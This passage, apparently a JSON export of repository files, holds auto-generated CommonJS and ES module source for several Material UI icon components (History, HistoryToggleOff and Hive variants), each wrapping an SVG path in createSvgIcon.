    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l3.89 3.89.07.14L9 12H6c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.93 0-3.68-.79-4.94-2.06l-1.42 1.42C8.27 19.99 10.51 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m-1 5v5l4.25 2.52.77-1.29-3.52-2.09V8z\"\n}), 'HistorySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistorySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l3.89 3.89.07.14L9 12H6c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.93 0-3.68-.79-4.94-2.06l-1.42 1.42C8.27 19.99 10.51 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m-1 5v5l4.25 2.52.77-1.29-3.52-2.09V8z\"\n}), 'HistorySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryToggleOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.1 19.37 1 1.74c-.96.44-2.01.73-3.1.84v-2.02c.74-.09 1.44-.28 2.1-.56M4.07 13H2.05c.11 1.1.4 2.14.84 3.1l1.74-1c-.28-.66-.47-1.36-.56-2.1M15.1 4.63l1-1.74c-.96-.44-2-.73-3.1-.84v2.02c.74.09 1.44.28 2.1.56M19.93 11h2.02c-.11-1.1-.4-2.14-.84-3.1l-1.74 1c.28.66.47 1.36.56 2.1M8.9 19.37l-1 1.74c.96.44 2.01.73 3.1.84v-2.02c-.74-.09-1.44-.28-2.1-.56M11 4.07V2.05c-1.1.11-2.14.4-3.1.84l1 1.74c.66-.28 1.36-.47 2.1-.56m7.36 3.1 1.74-1.01c-.63-.87-1.4-1.64-2.27-2.27l-1.01 1.74c.59.45 1.1.96 1.54 1.54M4.63 8.9l-1.74-1c-.44.96-.73 2-.84 3.1h2.02c.09-.74.28-1.44.56-2.1m15.3 4.1c-.09.74-.28 1.44-.56 2.1l1.74 1c.44-.96.73-2.01.84-3.1zm-3.1 5.36 1.01 1.74c.87-.63 1.64-1.4 2.27-2.27l-1.74-1.01c-.45.59-.96 1.1-1.54 1.54M7.17 5.64l-1-1.75c-.88.64-1.64 1.4-2.27 2.28l1.74 1.01c.44-.59.95-1.1 1.53-1.54M5.64 16.83l-1.74 1c.63.87 1.4 1.64 2.27 2.27l1.01-1.74c-.59-.44-1.1-.95-1.54-1.53M13 7h-2v5.41l4.29 4.29 1.41-1.41-3.7-3.7z\"\n}), 'HistoryToggleOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryToggleOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.1 19.37 1 1.74c-.96.44-2.01.73-3.1.84v-2.02c.74-.09 1.44-.28 2.1-.56M4.07 13H2.05c.11 1.1.4 2.14.84 3.1l1.74-1c-.28-.66-.47-1.36-.56-2.1M15.1 4.63l1-1.74c-.96-.44-2-.73-3.1-.84v2.02c.74.09 1.44.28 2.1.56M19.93 11h2.02c-.11-1.1-.4-2.14-.84-3.1l-1.74 1c.28.66.47 1.36.56 2.1M8.9 19.37l-1 1.74c.96.44 2.01.73 3.1.84v-2.02c-.74-.09-1.44-.28-2.1-.56M11 4.07V2.05c-1.1.11-2.14.4-3.1.84l1 1.74c.66-.28 1.36-.47 2.1-.56m7.36 3.1 1.74-1.01c-.63-.87-1.4-1.64-2.27-2.27l-1.01 1.74c.59.45 1.1.96 1.54 1.54M4.63 8.9l-1.74-1c-.44.96-.73 2-.84 3.1h2.02c.09-.74.28-1.44.56-2.1m15.3 4.1c-.09.74-.28 1.44-.56 2.1l1.74 1c.44-.96.73-2.01.84-3.1zm-3.1 5.36 1.01 1.74c.87-.63 1.64-1.4 2.27-2.27l-1.74-1.01c-.45.59-.96 1.1-1.54 1.54M7.17 5.64l-1-1.75c-.88.64-1.64 1.4-2.27 2.28l1.74 1.01c.44-.59.95-1.1 1.53-1.54M5.64 16.83l-1.74 1c.63.87 1.4 1.64 2.27 2.27l1.01-1.74c-.59-.44-1.1-.95-1.54-1.53M13 7h-2v5.41l4.29 4.29 1.41-1.41-3.7-3.7z\"\n}), 'HistoryToggleOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryToggleOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.1 19.37 1 1.74c-.96.44-2.01.73-3.1.84v-2.02c.74-.09 1.44-.28 2.1-.56M4.07 13H2.05c.11 1.1.4 2.14.84 3.1l1.74-1c-.28-.66-.47-1.36-.56-2.1M15.1 4.63l1-1.74c-.96-.44-2-.73-3.1-.84v2.02c.74.09 1.44.28 2.1.56M19.93 11h2.02c-.11-1.1-.4-2.14-.84-3.1l-1.74 1c.28.66.47 1.36.56 2.1M8.9 19.37l-1 1.74c.96.44 2.01.73 3.1.84v-2.02c-.74-.09-1.44-.28-2.1-.56M11 4.07V2.05c-1.1.11-2.14.4-3.1.84l1 1.74c.66-.28 1.36-.47 2.1-.56m7.36 3.1 1.74-1.01c-.63-.87-1.4-1.64-2.27-2.27l-1.01 1.74c.59.45 1.1.96 1.54 1.54M4.63 8.9l-1.74-1c-.44.96-.73 2-.84 3.1h2.02c.09-.74.28-1.44.56-2.1m15.3 4.1c-.09.74-.28 1.44-.56 2.1l1.74 1c.44-.96.73-2.01.84-3.1zm-3.1 5.36 1.01 1.74c.87-.63 1.64-1.4 2.27-2.27l-1.74-1.01c-.45.59-.96 1.1-1.54 1.54M7.17 5.64l-1-1.75c-.88.64-1.64 1.4-2.27 2.28l1.74 1.01c.44-.59.95-1.1 1.53-1.54M5.64 16.83l-1.74 1c.63.87 1.4 1.64 2.27 2.27l1.01-1.74c-.59-.44-1.1-.95-1.54-1.53M13 7h-2v5.41l4.29 4.29 1.41-1.41-3.7-3.7z\"\n}), 'HistoryToggleOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryToggleOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.1 19.37 1 1.74c-.96.44-2.01.73-3.1.84v-2.02c.74-.09 1.44-.28 2.1-.56M4.07 13H2.05c.11 1.1.4 2.14.84 3.1l1.74-1c-.28-.66-.47-1.36-.56-2.1M15.1 4.63l1-1.74c-.96-.44-2-.73-3.1-.84v2.02c.74.09 1.44.28 2.1.56M19.93 11h2.02c-.11-1.1-.4-2.14-.84-3.1l-1.74 1c.28.66.47 1.36.56 2.1M8.9 19.37l-1 1.74c.96.44 2.01.73 3.1.84v-2.02c-.74-.09-1.44-.28-2.1-.56M11 4.07V2.05c-1.1.11-2.14.4-3.1.84l1 1.74c.66-.28 1.36-.47 2.1-.56m7.36 3.1 1.74-1.01c-.63-.87-1.4-1.64-2.27-2.27l-1.01 1.74c.59.45 1.1.96 1.54 1.54M4.63 8.9l-1.74-1c-.44.96-.73 2-.84 3.1h2.02c.09-.74.28-1.44.56-2.1m15.3 4.1c-.09.74-.28 1.44-.56 2.1l1.74 1c.44-.96.73-2.01.84-3.1zm-3.1 5.36 1.01 1.74c.87-.63 1.64-1.4 2.27-2.27l-1.74-1.01c-.45.59-.96 1.1-1.54 1.54M7.17 5.64l-1-1.75c-.88.64-1.64 1.4-2.27 2.28l1.74 1.01c.44-.59.95-1.1 1.53-1.54M5.64 16.83l-1.74 1c.63.87 1.4 1.64 2.27 2.27l1.01-1.74c-.59-.44-1.1-.95-1.54-1.53M13 7h-2v5.41l4.29 4.29 1.41-1.41-3.7-3.7z\"\n}), 'HistoryToggleOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryToggleOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.1 19.37 1 1.74c-.96.44-2.01.73-3.1.84v-2.02c.74-.09 1.44-.28 2.1-.56M4.07 13H2.05c.11 1.1.4 2.14.84 3.1l1.74-1c-.28-.66-.47-1.36-.56-2.1M15.1 4.63l1-1.74c-.96-.44-2-.73-3.1-.84v2.02c.74.09 1.44.28 2.1.56M19.93 11h2.02c-.11-1.1-.4-2.14-.84-3.1l-1.74 1c.28.66.47 1.36.56 2.1M8.9 19.37l-1 1.74c.96.44 2.01.73 3.1.84v-2.02c-.74-.09-1.44-.28-2.1-.56M11 4.07V2.05c-1.1.11-2.14.4-3.1.84l1 1.74c.66-.28 1.36-.47 2.1-.56m7.36 3.1 1.74-1.01c-.63-.87-1.4-1.64-2.27-2.27l-1.01 1.74c.59.45 1.1.96 1.54 1.54M4.63 8.9l-1.74-1c-.44.96-.73 2-.84 3.1h2.02c.09-.74.28-1.44.56-2.1m15.3 4.1c-.09.74-.28 1.44-.56 2.1l1.74 1c.44-.96.73-2.01.84-3.1zm-3.1 5.36 1.01 1.74c.87-.63 1.64-1.4 2.27-2.27l-1.74-1.01c-.45.59-.96 1.1-1.54 1.54M7.17 5.64l-1-1.75c-.88.64-1.64 1.4-2.27 2.28l1.74 1.01c.44-.59.95-1.1 1.53-1.54M5.64 16.83l-1.74 1c.63.87 1.4 1.64 2.27 2.27l1.01-1.74c-.59-.44-1.1-.95-1.54-1.53M12 7c-.55 0-1 .45-1 1v3.59c0 .53.21 1.04.59 1.41l3 3c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-3-3V8c0-.55-.45-1-1-1\"\n}), 'HistoryToggleOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryToggleOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.1 19.37 1 1.74c-.96.44-2.01.73-3.1.84v-2.02c.74-.09 1.44-.28 2.1-.56M4.07 13H2.05c.11 1.1.4 2.14.84 3.1l1.74-1c-.28-.66-.47-1.36-.56-2.1M15.1 4.63l1-1.74c-.96-.44-2-.73-3.1-.84v2.02c.74.09 1.44.28 2.1.56M19.93 11h2.02c-.11-1.1-.4-2.14-.84-3.1l-1.74 1c.28.66.47 1.36.56 2.1M8.9 19.37l-1 1.74c.96.44 2.01.73 3.1.84v-2.02c-.74-.09-1.44-.28-2.1-.56M11 4.07V2.05c-1.1.11-2.14.4-3.1.84l1 1.74c.66-.28 1.36-.47 2.1-.56m7.36 3.1 1.74-1.01c-.63-.87-1.4-1.64-2.27-2.27l-1.01 1.74c.59.45 1.1.96 1.54 1.54M4.63 8.9l-1.74-1c-.44.96-.73 2-.84 3.1h2.02c.09-.74.28-1.44.56-2.1m15.3 4.1c-.09.74-.28 1.44-.56 2.1l1.74 1c.44-.96.73-2.01.84-3.1zm-3.1 5.36 1.01 1.74c.87-.63 1.64-1.4 2.27-2.27l-1.74-1.01c-.45.59-.96 1.1-1.54 1.54M7.17 5.64l-1-1.75c-.88.64-1.64 1.4-2.27 2.28l1.74 1.01c.44-.59.95-1.1 1.53-1.54M5.64 16.83l-1.74 1c.63.87 1.4 1.64 2.27 2.27l1.01-1.74c-.59-.44-1.1-.95-1.54-1.53M12 7c-.55 0-1 .45-1 1v3.59c0 .53.21 1.04.59 1.41l3 3c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-3-3V8c0-.55-.45-1-1-1\"\n}), 'HistoryToggleOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryToggleOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.1 19.37 1 1.74c-.96.44-2.01.73-3.1.84v-2.02c.74-.09 1.44-.28 2.1-.56M4.07 13H2.05c.11 1.1.4 2.14.84 3.1l1.74-1c-.28-.66-.47-1.36-.56-2.1M15.1 4.63l1-1.74c-.96-.44-2-.73-3.1-.84v2.02c.74.09 1.44.28 2.1.56M19.93 11h2.02c-.11-1.1-.4-2.14-.84-3.1l-1.74 1c.28.66.47 1.36.56 2.1M8.9 19.37l-1 1.74c.96.44 2.01.73 3.1.84v-2.02c-.74-.09-1.44-.28-2.1-.56M11 4.07V2.05c-1.1.11-2.14.4-3.1.84l1 1.74c.66-.28 1.36-.47 2.1-.56m7.36 3.1 1.74-1.01c-.63-.87-1.4-1.64-2.27-2.27l-1.01 1.74c.59.45 1.1.96 1.54 1.54M4.63 8.9l-1.74-1c-.44.96-.73 2-.84 3.1h2.02c.09-.74.28-1.44.56-2.1m15.3 4.1c-.09.74-.28 1.44-.56 2.1l1.74 1c.44-.96.73-2.01.84-3.1zm-3.1 5.36 1.01 1.74c.87-.63 1.64-1.4 2.27-2.27l-1.74-1.01c-.45.59-.96 1.1-1.54 1.54M7.17 5.64l-1-1.75c-.88.64-1.64 1.4-2.27 2.28l1.74 1.01c.44-.59.95-1.1 1.53-1.54M5.64 16.83l-1.74 1c.63.87 1.4 1.64 2.27 2.27l1.01-1.74c-.59-.44-1.1-.95-1.54-1.53M13 7h-2v5.41l4.29 4.29 1.41-1.41-3.7-3.7z\"\n}), 'HistoryToggleOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryToggleOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.1 19.37 1 1.74c-.96.44-2.01.73-3.1.84v-2.02c.74-.09 1.44-.28 2.1-.56M4.07 13H2.05c.11 1.1.4 2.14.84 3.1l1.74-1c-.28-.66-.47-1.36-.56-2.1M15.1 4.63l1-1.74c-.96-.44-2-.73-3.1-.84v2.02c.74.09 1.44.28 2.1.56M19.93 11h2.02c-.11-1.1-.4-2.14-.84-3.1l-1.74 1c.28.66.47 1.36.56 2.1M8.9 19.37l-1 1.74c.96.44 2.01.73 3.1.84v-2.02c-.74-.09-1.44-.28-2.1-.56M11 4.07V2.05c-1.1.11-2.14.4-3.1.84l1 1.74c.66-.28 1.36-.47 2.1-.56m7.36 3.1 1.74-1.01c-.63-.87-1.4-1.64-2.27-2.27l-1.01 1.74c.59.45 1.1.96 1.54 1.54M4.63 8.9l-1.74-1c-.44.96-.73 2-.84 3.1h2.02c.09-.74.28-1.44.56-2.1m15.3 4.1c-.09.74-.28 1.44-.56 2.1l1.74 1c.44-.96.73-2.01.84-3.1zm-3.1 5.36 1.01 1.74c.87-.63 1.64-1.4 2.27-2.27l-1.74-1.01c-.45.59-.96 1.1-1.54 1.54M7.17 5.64l-1-1.75c-.88.64-1.64 1.4-2.27 2.28l1.74 1.01c.44-.59.95-1.1 1.53-1.54M5.64 16.83l-1.74 1c.63.87 1.4 1.64 2.27 2.27l1.01-1.74c-.59-.44-1.1-.95-1.54-1.53M13 7h-2v5.41l4.29 4.29 1.41-1.41-3.7-3.7z\"\n}), 'HistoryToggleOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryToggleOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.1 19.37 1 1.74c-.96.44-2.01.73-3.1.84v-2.02c.74-.09 1.44-.28 2.1-.56M4.07 13H2.05c.11 1.1.4 2.14.84 3.1l1.74-1c-.28-.66-.47-1.36-.56-2.1M15.1 4.63l1-1.74c-.96-.44-2-.73-3.1-.84v2.02c.74.09 1.44.28 2.1.56M19.93 11h2.02c-.11-1.1-.4-2.14-.84-3.1l-1.74 1c.28.66.47 1.36.56 2.1M8.9 19.37l-1 1.74c.96.44 2.01.73 3.1.84v-2.02c-.74-.09-1.44-.28-2.1-.56M11 4.07V2.05c-1.1.11-2.14.4-3.1.84l1 1.74c.66-.28 1.36-.47 2.1-.56m7.36 3.1 1.74-1.01c-.63-.87-1.4-1.64-2.27-2.27l-1.01 1.74c.59.45 1.1.96 1.54 1.54M4.63 8.9l-1.74-1c-.44.96-.73 2-.84 3.1h2.02c.09-.74.28-1.44.56-2.1m15.3 4.1c-.09.74-.28 1.44-.56 2.1l1.74 1c.44-.96.73-2.01.84-3.1zm-3.1 5.36 1.01 1.74c.87-.63 1.64-1.4 2.27-2.27l-1.74-1.01c-.45.59-.96 1.1-1.54 1.54M7.17 5.64l-1-1.75c-.88.64-1.64 1.4-2.27 2.28l1.74 1.01c.44-.59.95-1.1 1.53-1.54M5.64 16.83l-1.74 1c.63.87 1.4 1.64 2.27 2.27l1.01-1.74c-.59-.44-1.1-.95-1.54-1.53M13 7h-2v5.41l4.29 4.29 1.41-1.41-3.7-3.7z\"\n}), 'HistoryToggleOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryToggleOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.1 19.37 1 1.74c-.96.44-2.01.73-3.1.84v-2.02c.74-.09 1.44-.28 2.1-.56M4.07 13H2.05c.11 1.1.4 2.14.84 3.1l1.74-1c-.28-.66-.47-1.36-.56-2.1M15.1 4.63l1-1.74c-.96-.44-2-.73-3.1-.84v2.02c.74.09 1.44.28 2.1.56M19.93 11h2.02c-.11-1.1-.4-2.14-.84-3.1l-1.74 1c.28.66.47 1.36.56 2.1M8.9 19.37l-1 1.74c.96.44 2.01.73 3.1.84v-2.02c-.74-.09-1.44-.28-2.1-.56M11 4.07V2.05c-1.1.11-2.14.4-3.1.84l1 1.74c.66-.28 1.36-.47 2.1-.56m7.36 3.1 1.74-1.01c-.63-.87-1.4-1.64-2.27-2.27l-1.01 1.74c.59.45 1.1.96 1.54 1.54M4.63 8.9l-1.74-1c-.44.96-.73 2-.84 3.1h2.02c.09-.74.28-1.44.56-2.1m15.3 4.1c-.09.74-.28 1.44-.56 2.1l1.74 1c.44-.96.73-2.01.84-3.1zm-3.1 5.36 1.01 1.74c.87-.63 1.64-1.4 2.27-2.27l-1.74-1.01c-.45.59-.96 1.1-1.54 1.54M7.17 5.64l-1-1.75c-.88.64-1.64 1.4-2.27 2.28l1.74 1.01c.44-.59.95-1.1 1.53-1.54M5.64 16.83l-1.74 1c.63.87 1.4 1.64 2.27 2.27l1.01-1.74c-.59-.44-1.1-.95-1.54-1.53M13 7h-2v5.41l4.29 4.29 1.41-1.41-3.7-3.7z\"\n}), 'HistoryToggleOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l3.89 3.89.07.14L9 12H6c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.93 0-3.68-.79-4.94-2.06l-1.42 1.42C8.27 19.99 10.51 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m-1 5v5l4.25 2.52.77-1.28-3.52-2.09V8z\"\n}), 'HistoryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HistoryTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l3.89 3.89.07.14L9 12H6c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.93 0-3.68-.79-4.94-2.06l-1.42 1.42C8.27 19.99 10.51 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m-1 5v5l4.25 2.52.77-1.28-3.52-2.09V8z\"\n}), 'HistoryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hive.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.79 8 1.8-3-1.8-3h-3.58l-1.8 3 1.8 3zm-3.58 1-1.8 3 1.8 3h3.58l1.8-3-1.8-3zm6.24 2.51h3.59l1.79-3-1.79-3h-3.59l-1.8 3zm3.59 1h-3.59l-1.8 3 1.8 3h3.59l1.79-3zm-12.49-1 1.8-3-1.8-3H3.96l-1.79 3 1.79 3zm0 1H3.96l-1.79 3 1.79 3h3.59l1.8-3zM10.21 16l-1.8 3 1.8 3h3.58l1.8-3-1.8-3z\"\n}), 'Hive');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hive.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.79 8 1.8-3-1.8-3h-3.58l-1.8 3 1.8 3zm-3.58 1-1.8 3 1.8 3h3.58l1.8-3-1.8-3zm6.24 2.51h3.59l1.79-3-1.79-3h-3.59l-1.8 3zm3.59 1h-3.59l-1.8 3 1.8 3h3.59l1.79-3zm-12.49-1 1.8-3-1.8-3H3.96l-1.79 3 1.79 3zm0 1H3.96l-1.79 3 1.79 3h3.59l1.8-3zM10.21 16l-1.8 3 1.8 3h3.58l1.8-3-1.8-3z\"\n}), 'Hive');"
  },
  {
    "path": "packages/mui-icons-material/lib/HiveOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.5 9-2.25-4h-3.31l-1.69-3h-4.5L8.06 5H4.75L2.5 9l1.69 3-1.69 3 2.25 4h3.31l1.69 3h4.5l1.69-3h3.31l2.25-4-1.69-3zm-2.29 0-1.12 2h-2.14l-1.12-2 1.12-2h2.14zm-8.27 5-1.12-2 1.12-2h2.12l1.12 2-1.12 2zm2.14-10 1.12 1.98L13.06 8h-2.12L9.8 5.98 10.92 4zM5.92 7h2.14l1.12 2-1.12 2H5.92L4.79 9zm-1.13 8 1.12-2h2.14l1.12 2-1.12 2H5.92zm6.13 5L9.8 18.02 10.94 16h2.12l1.13 2.02L13.08 20zm7.16-3h-2.14l-1.12-2 1.12-2h2.14l1.12 2z\"\n}), 'HiveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HiveOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.5 9-2.25-4h-3.31l-1.69-3h-4.5L8.06 5H4.75L2.5 9l1.69 3-1.69 3 2.25 4h3.31l1.69 3h4.5l1.69-3h3.31l2.25-4-1.69-3zm-2.29 0-1.12 2h-2.14l-1.12-2 1.12-2h2.14zm-8.27 5-1.12-2 1.12-2h2.12l1.12 2-1.12 2zm2.14-10 1.12 1.98L13.06 8h-2.12L9.8 5.98 10.92 4zM5.92 7h2.14l1.12 2-1.12 2H5.92L4.79 9zm-1.13 8 1.12-2h2.14l1.12 2-1.12 2H5.92zm6.13 5L9.8 18.02 10.94 16h2.12l1.13 2.02L13.08 20zm7.16-3h-2.14l-1.12-2 1.12-2h2.14l1.12 2z\"\n}), 'HiveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HiveRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.09 7.51 1.2-2c.19-.32.19-.71 0-1.03l-1.2-2c-.18-.3-.51-.48-.86-.48h-2.45c-.35 0-.68.18-.86.49l-1.2 2c-.19.32-.19.71 0 1.03l1.2 2c.17.3.5.48.85.48h2.45c.36 0 .69-.18.87-.49M9.91 9.49l-1.2 2c-.19.32-.19.71 0 1.03l1.2 2c.18.3.51.49.86.49h2.46c.35 0 .68-.18.86-.49l1.2-2c.19-.32.19-.71 0-1.03l-1.2-2c-.18-.31-.51-.49-.86-.49h-2.46c-.35 0-.68.18-.86.49m7.1 2.02h2.45c.35 0 .68-.18.86-.49l1.2-2c.19-.32.19-.71 0-1.03l-1.2-2c-.18-.3-.51-.49-.86-.49h-2.45c-.35 0-.68.18-.86.49l-1.2 2c-.19.32-.19.71 0 1.03l1.2 2c.19.31.51.49.86.49m2.46 1h-2.46c-.35 0-.68.18-.86.49l-1.2 2c-.19.32-.19.71 0 1.03l1.2 2c.18.3.51.49.86.49h2.46c.35 0 .68-.18.86-.49l1.2-2c.19-.32.19-.71 0-1.03l-1.2-2c-.18-.3-.51-.49-.86-.49M7.84 11.03l1.2-2c.19-.32.19-.71 0-1.03l-1.2-2c-.18-.3-.5-.49-.85-.49H4.53c-.35 0-.68.19-.86.49l-1.2 2c-.19.32-.19.71 0 1.03l1.2 2c.18.3.51.49.86.49h2.45c.36-.01.68-.19.86-.49m-.85 1.48H4.53c-.35 0-.68.18-.86.49l-1.2 2c-.19.32-.19.71 0 1.03l1.2 2c.18.3.51.49.86.49h2.46c.35 0 .68-.18.86-.49l1.2-2c.19-.32.19-.71 0-1.03l-1.2-2c-.19-.3-.51-.49-.86-.49m2.92 3.98-1.2 2c-.19.32-.19.71 0 1.03l1.2 2c.18.3.51.49.86.49h2.46c.35 0 .68-.18.86-.49l1.2-2c.19-.32.19-.71 